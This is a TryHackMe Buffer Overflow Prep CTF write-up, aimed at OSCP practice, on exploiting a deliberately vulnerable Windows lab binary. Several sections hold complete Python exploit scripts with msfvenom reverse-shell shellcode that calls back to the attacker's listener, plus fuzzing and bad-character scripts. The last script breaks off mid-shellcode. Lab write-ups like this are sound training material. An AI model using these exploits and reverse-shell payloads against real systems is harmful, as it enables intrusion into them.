Buffer Overflow Prep (THM)

Tib3rius B.O prep with diverse bad chars

TryHackMe Buffer Overflow Prep Write-Up

topics: Buffer Overflows, windows buffer overflows

A diverse number of stack based Buffer Overflows for OSCP prep. Here is the cheatsheet for the room.

xfreerdp /u:admin /p:password /cert:ignore /v:10.10.226.187

B.O 1

Run oscp.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset. You can also run a quick nmap scan to verify the port is open, if not open the port via the firewall

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. We can use pattern_create.rb -l 3000 to generate a string and use nc to open a socket and input the string to the listening executable file.

nc -v 10.10.176.36 1337

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 6F43396E which we can input to pattern_offset to obtain the value

pattern_offset.rb -q 6F43396E

We have an offset of length 1978 to use A's or NOP sled with payload = "\x90" * 1978 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using the following script to print bad chars and input them using python Tibfuzz.py

#!/usr/bin/env python
import socket

ip = "10.10.99.153"
port = 1337

prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "B" * 4
padding = ""
#\x00 is omitted as its already expected to be a bad char
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the bad characters are "\x00\x07\x08\x2e\x2f\xa0\xa1" but not all of these are bad chars. Occasionally bad chars cause the next byte to become corrupted or effect the rest of the string.

Because the idea is that the next byte is the corrupted one, we can surmise that the invalid chars are "\x08\x2f\xa1" making "\x00\x07\x2e\xa0" the actual bad chars. As I said we can test for this manually (check B.O 9 below) and will return if these are not the actual bad chars.

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

We see our address is 0x625011af which in little endian syntax will be \xaf\x11\x50\x62

buffer = "\x90" * 1978 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x07\x2e\xa0"

required EXITFUNC=thread for payload to work. EXITFUNC option effectively sets a function hash in the payload that specifies a DLL and function to call when the payload is complete. THREAD is used in most exploitation scenarios where the exploited process (e.g. IE) runs the shellcode in a sub-thread and exiting this thread results in a working application/system (clean exit)

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, the standard number of NOP sleds needed is usually 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python me.py <rhost> <rport>

#!/usr/bin/env python
# usage python me.py <targetIP> <targetPort>

import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

uname = "OVERFLOW1 "

# msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x07\x2e\xa0"
shellcode = ("\xd9\xc7\xd9\x74\x24\xf4\xbe\x0d\xdb\xc3\x9d\x5f\x29\xc9\xb1"
"\x52\x83\xef\xfc\x31\x77\x13\x03\x7a\xc8\x21\x68\x78\x06\x27"
"\x93\x80\xd7\x48\x1d\x65\xe6\x48\x79\xee\x59\x79\x09\xa2\x55"
"\xf2\x5f\x56\xed\x76\x48\x59\x46\x3c\xae\x54\x57\x6d\x92\xf7"
"\xdb\x6c\xc7\xd7\xe2\xbe\x1a\x16\x22\xa2\xd7\x4a\xfb\xa8\x4a"
"\x7a\x88\xe5\x56\xf1\xc2\xe8\xde\xe6\x93\x0b\xce\xb9\xa8\x55"
"\xd0\x38\x7c\xee\x59\x22\x61\xcb\x10\xd9\x51\xa7\xa2\x0b\xa8"
"\x48\x08\x72\x04\xbb\x50\xb3\xa3\x24\x27\xcd\xd7\xd9\x30\x0a"
"\xa5\x05\xb4\x88\x0d\xcd\x6e\x74\xaf\x02\xe8\xff\xa3\xef\x7e"
"\xa7\xa7\xee\x53\xdc\xdc\x7b\x52\x32\x55\x3f\x71\x96\x3d\x9b"
"\x18\x8f\x9b\x4a\x24\xcf\x43\x32\x80\x84\x6e\x27\xb9\xc7\xe6"
"\x84\xf0\xf7\xf6\x82\x83\x84\xc4\x0d\x38\x02\x65\xc5\xe6\xd5"
"\x8a\xfc\x5f\x49\x75\xff\x9f\x40\xb2\xab\xcf\xfa\x13\xd4\x9b"
"\xfa\x9c\x01\x0b\xaa\x32\xfa\xec\x1a\xf3\xaa\x84\x70\xfc\x95"
"\xb5\x7b\xd6\xbd\x5c\x86\xb1\xcb\xa6\x9a\xd0\xa4\xa4\x9a\xd2"
"\x01\x20\x7c\xb8\x79\x64\xd7\x55\xe3\x2d\xa3\xc4\xec\xfb\xce"
"\xc7\x67\x08\x2f\x89\x8f\x65\x23\x7e\x60\x30\x19\x29\x7f\xee"
"\x35\xb5\x12\x75\xc5\xb0\x0e\x22\x92\x95\xe1\x3b\x76\x08\x5b"
"\x92\x64\xd1\x3d\xdd\x2c\x0e\xfe\xe0\xad\xc3\xba\xc6\xbd\x1d"
"\x42\x43\xe9\xf1\x15\x1d\x47\xb4\xcf\xef\x31\x6e\xa3\xb9\xd5"
"\xf7\x8f\x79\xa3\xf7\xc5\x0f\x4b\x49\xb0\x49\x74\x66\x54\x5e"
"\x0d\x9a\xc4\xa1\xc4\x1e\xe4\x43\xcc\x6a\x8d\xdd\x85\xd6\xd0"
"\xdd\x70\x14\xed\x5d\x70\xe5\x0a\x7d\xf1\xe0\x57\x39\xea\x98"
"\xc8\xac\x0c\x0e\xe8\xe4")

payload = uname + "\x90" * 1978 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(payload + '\r\n')
s.recv(1024)
s.close()

We have a reverse shell.

B.O 2

Run oscp.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset. You can also run a quick nmap scan to verify the port is open, if not open the port via the firewall

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. Initially I tried 3000 characters but pattern_offset didn't find a suitable offset, I reduced it to 1000. Using pattern_create.rb -l 1000 to generate a string and use nc to open a socket and input the string to the listening executable file.

nc -v 10.10.176.36 1337

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 76413176 which we can input to pattern_offset to obtain the value

pattern_offset.rb -q 76413176

We have an offset of length 634 to use A's or NOP sled with payload = "\x90" * 634 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using the following script to print bad chars and input them using python Tibfuzz.py

#!/usr/bin/env python
import socket

ip = "10.10.136.21"
port = 1337

prefix = "OVERFLOW2 "
offset = 634
overflow = "A" * offset
retn = "B" * 4
padding = ""
#\x00 is omitted as its already expected to be a bad char.after first run remove the new bad chars one by one to confirm which are valid and run 
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the bad characters are "\x00\x23\x24\x3c\x3d\x83\x84\xba\xbb" but not all of these are bad chars. Occasionally bad chars cause the next byte to become corrupted or effect the rest of the string.

Because the idea is that the next byte is the corrupted one, we can surmise that the invalid chars are "\x24\x3d\x84\xbb" making "\x00\x23\x3c\x83\xba" the actual bad chars. As I said we can test for this manually and will return if these are not the actual bad chars.

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

We see our address is 0x625011af which in little endian syntax will be \xaf\x11\x50\x62

payload = "\x90" * 634 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x23\x3c\x83\xba"

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, doing trial and error the standard number of NOP sleds needed is 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python me2.py <rhost> <rport>

#!/usr/bin/env python
# usage python me.py <targetIP> <targetPort>

import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

uname = "OVERFLOW2 "

# msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x23\x3c\x83\xba"
shellcode = ("\xfc\xbb\x52\xa3\x96\xac\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xae\x4b\x14\xac\x4e"
"\x8c\x79\x24\xab\xbd\xb9\x52\xb8\xee\x09\x10\xec\x02\xe1\x74"
"\x04\x90\x87\x50\x2b\x11\x2d\x87\x02\xa2\x1e\xfb\x05\x20\x5d"
"\x28\xe5\x19\xae\x3d\xe4\x5e\xd3\xcc\xb4\x37\x9f\x63\x28\x33"
"\xd5\xbf\xc3\x0f\xfb\xc7\x30\xc7\xfa\xe6\xe7\x53\xa5\x28\x06"
"\xb7\xdd\x60\x10\xd4\xd8\x3b\xab\x2e\x96\xbd\x7d\x7f\x57\x11"
"\x40\x4f\xaa\x6b\x85\x68\x55\x1e\xff\x8a\xe8\x19\xc4\xf1\x36"
"\xaf\xde\x52\xbc\x17\x3a\x62\x11\xc1\xc9\x68\xde\x85\x95\x6c"
"\xe1\x4a\xae\x89\x6a\x6d\x60\x18\x28\x4a\xa4\x40\xea\xf3\xfd"
"\x2c\x5d\x0b\x1d\x8f\x02\xa9\x56\x22\x56\xc0\x35\x2b\x9b\xe9"
"\xc5\xab\xb3\x7a\xb6\x99\x1c\xd1\x50\x92\xd5\xff\xa7\xd5\xcf"
"\xb8\x37\x28\xf0\xb8\x1e\xef\xa4\xe8\x08\xc6\xc4\x62\xc8\xe7"
"\x10\x24\x98\x47\xcb\x85\x48\x28\xbb\x6d\x82\xa7\xe4\x8e\xad"
"\x6d\x8d\x25\x54\xe6\xb8\xbf\x44\x67\xd4\xbd\x68\x87\x10\x4b"
"\x8e\xed\x4a\x1d\x19\x9a\xf3\x04\xd1\x3b\xfb\x92\x9c\x7c\x77"
"\x11\x61\x32\x70\x5c\x71\xa3\x70\x2b\x2b\x62\x8e\x81\x43\xe8"
"\x1d\x4e\x93\x67\x3e\xd9\xc4\x20\xf0\x10\x80\xdc\xab\x8a\xb6"
"\x1c\x2d\xf4\x72\xfb\x8e\xfb\x7b\x8e\xab\xdf\x6b\x56\x33\x64"
"\xdf\x06\x62\x32\x89\xe0\xdc\xf4\x63\xbb\xb3\x5e\xe3\x3a\xf8"
"\x60\x75\x43\xd5\x16\x99\xf2\x80\x6e\xa6\x3b\x45\x67\xdf\x21"
"\xf5\x88\x0a\xe2\x15\x6b\x9e\x1f\xbe\x32\x4b\xa2\xa3\xc4\xa6"
"\xe1\xdd\x46\x42\x9a\x19\x56\x27\x9f\x66\xd0\xd4\xed\xf7\xb5"
"\xda\x42\xf7\x9f\xda\x64\x07\x20")

payload = uname + "\x90" * 634 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(payload + '\r\n')
s.recv(1024)
s.close()

B.O 3

Run oscp.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset. You can also run a quick nmap scan to verify the port is open, if not open the port via the firewall

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. Initially I tried 1000 characters using pattern -l 3000 to generate a string and use nc to open a socket and input the string to the listening executable file.

nc -v 10.10.176.36 1337

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 35714234 which we can input to pattern_offset to obtain the value

offset.rb -q 35714234

We have an offset of length 1274 to use A's or NOP sled with payload = "\x90" * 1274 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using the following script to print bad chars and input them using python Tibfuzz.py

#!/usr/bin/env python
import socket

ip = "10.10.136.21"
port = 1337

prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = "B" * 4
padding = ""
#\x00 is omitted as its already expected to be a bad char.after first run remove the new bad chars one by one to confirm which are valid and run 
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the bad characters are "\x00\x11\x12\x40\x41\x5f\x60\xb8\xb9\xee\xef" but not all of these are bad chars. Occasionally bad chars cause the next byte to become corrupted or effect the rest of the string.

Because the idea is that the next byte is the corrupted one, we can surmise that the invalid chars are "\x12\x41\x60\xb8\xef" making "\x00\x11\x40\x5f\xb8\xee" the actual bad chars. As I said we can test for this manually and will return if these are not the actual bad chars.

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

We see our address is 0x625011af which in little endian syntax will be \xaf\x11\x50\x62

payload = "\x90" * 1274 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

This address did not end up working but one of the other eight did, \x03\x12\x50\x62

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x11\x40\x5f\xb8\xee"

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, doing trial and error the standard number of NOP sleds needed is 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python me3.py <rhost> <rport>

#!/usr/bin/env python
import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

uname = "OVERFLOW3 "

# msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\x11\x40\x5f\xb8\xee"
shellcode = ("\xfc\xbb\x80\xe0\x09\x7f\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x7c\x08\x8b\x7f\x7c"
"\xc9\xec\xf6\x99\xf8\x2c\x6c\xea\xab\x9c\xe6\xbe\x47\x56\xaa"
"\x2a\xd3\x1a\x63\x5d\x54\x90\x55\x50\x65\x89\xa6\xf3\xe5\xd0"
"\xfa\xd3\xd4\x1a\x0f\x12\x10\x46\xe2\x46\xc9\x0c\x51\x76\x7e"
"\x58\x6a\xfd\xcc\x4c\xea\xe2\x85\x6f\xdb\xb5\x9e\x29\xfb\x34"
"\x72\x42\xb2\x2e\x97\x6f\x0c\xc5\x63\x1b\x8f\x0f\xba\xe4\x3c"
"\x6e\x72\x17\x3c\xb7\xb5\xc8\x4b\xc1\xc5\x75\x4c\x16\xb7\xa1"
"\xd9\x8c\x1f\x21\x79\x68\xa1\xe6\x1c\xfb\xad\x43\x6a\xa3\xb1"
"\x52\xbf\xd8\xce\xdf\x3e\x0e\x47\x9b\x64\x8a\x03\x7f\x04\x8b"
"\xe9\x2e\x39\xcb\x51\x8e\x9f\x80\x7c\xdb\xad\xcb\xe8\x28\x9c"
"\xf3\xe8\x26\x97\x80\xda\xe9\x03\x0e\x57\x61\x8a\xc9\x98\x58"
"\x6a\x45\x67\x63\x8b\x4c\xac\x37\xdb\xe6\x05\x38\xb0\xf6\xaa"
"\xed\x17\xa6\x04\x5e\xd8\x16\xe5\x0e\xb0\x7c\xea\x71\xa0\x7f"
"\x20\x1a\x4b\x7a\xa3\x2f\x8a\x96\xa2\x58\x90\x96\xc4\xad\x1d"
"\x70\xae\xdd\x4b\x2b\x47\x47\xd6\xa7\xf6\x88\xcc\xc2\x39\x02"
"\xe3\x33\xf7\xe3\x8e\x27\x60\x04\xc5\x15\x27\x1b\xf3\x31\xab"
"\x8e\x98\xc1\xa2\xb2\x36\x96\xe3\x05\x4f\x72\x1e\x3f\xf9\x60"
"\xe3\xd9\xc2\x20\x38\x1a\xcc\xa9\xcd\x26\xea\xb9\x0b\xa6\xb6"
"\xed\xc3\xf1\x60\x5b\xa2\xab\xc2\x35\x7c\x07\x8d\xd1\xf9\x6b"
"\x0e\xa7\x05\xa6\xf8\x47\xb7\x1f\xbd\x78\x78\xc8\x49\x01\x64"
"\x68\xb5\xd8\x2c\x88\x54\xc8\x58\x21\xc1\x99\xe0\x2c\xf2\x74"
"\x26\x49\x71\x7c\xd7\xae\x69\xf5\xd2\xeb\x2d\xe6\xae\x64\xd8"
"\x08\x1c\x84\xc9\x08\xa2\x7a\xf2")

payload = uname + "\x90" * 1274 + "\x03\x12\x50\x62" + "\x90" * 16 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(payload + '\r\n')
s.recv(1024)
s.close()

This one I had to use a different JMP address as the one that worked before was unsuccessful. Any of the 9 mentioned should hypothetically work its a matter of trial and error

B.O 4

Run oscp.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset. You can also run a quick nmap scan to verify the port is open, if not open the port via the firewall

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. Initial fuzzing script

import socket, time, sys

ip = "10.10.121.52"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW4 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

Using pattern -l 2300 to generate a string and nc to open a socket and input the string to the listening executable file.

nc -v 10.10.176.36 1337

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 70433570 which we can input to pattern_offset to obtain the value

offset -q 70433570

We have an offset of length 2026 to use A's or NOP sled with payload = "\x90" * 2026 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using the following script to print bad chars and input them using python Tibfuzz.py

#!/usr/bin/env python
import socket

ip = "10.10.136.21"
port = 1337

prefix = "OVERFLOW3 "
offset = 2026
overflow = "A" * offset
retn = "B" * 4
padding = ""
#\x00 is omitted as its already expected to be a bad char.after first run remove the new bad chars one by one to confirm which are valid and run 
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the bad characters are "\x00\xa9\xaa\xcd\xce\xd4\xd5" but not all of these are bad chars. Occasionally bad chars cause the next byte to become corrupted or effect the rest of the string.

Because the idea is that the next byte is the corrupted one, we can surmise that the invalid chars are "\xaa\xce\xd5" making "\x00\xa9\xcd\xd4" the actual bad chars. As I said we can test for this manually and will return if these are not the actual bad chars.

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

The address that works is 0x625011af which in little endian syntax will be \xaf\x11\x50\x62

payload = "\x90" * 2026 + "\xaf\x11\x50\x62" + "\x90" * 20 + shellcode

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\xa9\xcd\xd4"

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, doing trial and error the standard number of NOP sleds needed is 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python me4.py <rhost> <rport>

#!/usr/bin/env python
# usage python me.py <targetIP> <targetPort>

import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

uname = "OVERFLOW4 "

# msfvenom -p windows/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 EXITFUNC=thread -f c -b "\x00\xa9\xcd\xd4"
shellcode = ("\xbd\x2a\x28\x1d\xdc\xd9\xe1\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
"\x52\x31\x6e\x12\x83\xee\xfc\x03\x44\x26\xff\x29\x64\xde\x7d"
"\xd1\x94\x1f\xe2\x5b\x71\x2e\x22\x3f\xf2\x01\x92\x4b\x56\xae"
"\x59\x19\x42\x25\x2f\xb6\x65\x8e\x9a\xe0\x48\x0f\xb6\xd1\xcb"
"\x93\xc5\x05\x2b\xad\x05\x58\x2a\xea\x78\x91\x7e\xa3\xf7\x04"
"\x6e\xc0\x42\x95\x05\x9a\x43\x9d\xfa\x6b\x65\x8c\xad\xe0\x3c"
"\x0e\x4c\x24\x35\x07\x56\x29\x70\xd1\xed\x99\x0e\xe0\x27\xd0"
"\xef\x4f\x06\xdc\x1d\x91\x4f\xdb\xfd\xe4\xb9\x1f\x83\xfe\x7e"
"\x5d\x5f\x8a\x64\xc5\x14\x2c\x40\xf7\xf9\xab\x03\xfb\xb6\xb8"
"\x4b\x18\x48\x6c\xe0\x24\xc1\x93\x26\xad\x91\xb7\xe2\xf5\x42"
"\xd9\xb3\x53\x24\xe6\xa3\x3b\x99\x42\xa8\xd6\xce\xfe\xf3\xbe"
